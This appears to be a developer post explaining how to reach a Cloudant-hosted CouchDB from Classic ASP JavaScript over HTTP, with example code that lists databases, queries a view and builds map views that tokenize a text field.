Click the 'Embed' button next to the link they show you
Copy the iframe code given and paste it into the html of your web
page.
You can see well here that the url is generated by /embed which goes with the first ansewer.

Can I connect to CouchDB from ASP Classic / Javascript running on Windows?

Cloudant offers a hosted CouchDB, with a free starter level allowing 6GB of IO per month.
Good for developers learning CouchDB.
Since CouchDB allows specification of the map/reduce functions in Javascript, it might make sense to connect to it via Javascript, running in Classic ASP.
Possible?
Yes, why not?
Cloudant is accessible via HTTP/REST. Nothing special there.
ASP Classic / Javascript can use MSXML2.ServerXMLHttp to send out requests, in much the same way that XMLHttpRequest can be used on client-side Javascript.
What would be nice is a Javascript library for CouchDB that does not assume it is running in a browser, nor in Node, since ASP Classic is neither of those. Here's a start:
https://gist.github.com/3016476
Example ASP code:
var creds = getCloudantCredentials("cloudantCreds.txt");
var couch = new CouchDB(couchUrl);
couch.connect(creds[0],creds[1]);
var r = couch.listDbs();
say("all dbs: " + JSON.stringify(r, null, 2));
r = couch.view('dbname', 'baseViews', 'bywords',
{ include_docs: false,
key: "whatever",
reduce:true} );
say("view: " + JSON.stringify(r, null, 2));
This is how you might create a set of views:
function createViews(dbName, viewSet) {
var r, doc,
empty = function(doc) {
if ( ! doc.observation || doc.observation === '') {
emit(null, doc);
}
},
bywordsMap = function(doc) {
var tokens, re1,
uniq = function(a) {
var o = {}, i = 0, L = a.length, r = [];
for (; i < L; i++) {
if (a[i] !== '' && a[i] !== ' ') {
o[a[i]] = a[i];
}
}
for (i in o) { r.push(o[i]); }
return r;
};
if ( doc.observation && doc.observation !== '') {
tokens = uniq(doc.observation.split(/( +)|\./));
if (tokens && tokens.length > 0) {
tokens.map(function(token) {
emit(token, 1);
});
}
}
};
viewSet = viewSet || 'baseViews';
try {
r = couch.deleteView(dbName, viewSet);
doc = { views: { empty: { map:stringRep(empty) },
bywords: { map:stringRep(bywordsMap)}}};
r = couch.createView(dbName, viewSet, doc);
}
catch (exc1) {
say ('createViews() failed: ' + JSON.stringify(exc1));
}
}
function stringRep(fn) {
return fn.toString()
.replace(/[\s\t]*\/\/.*$/gm, '') // comments
.replace(/\n */gm, ' ')
.replace(/\r */gm, ' ')
.replace(/\{ +/gm, '{')
.replace(/ +\}/gm, '}');
}

Resources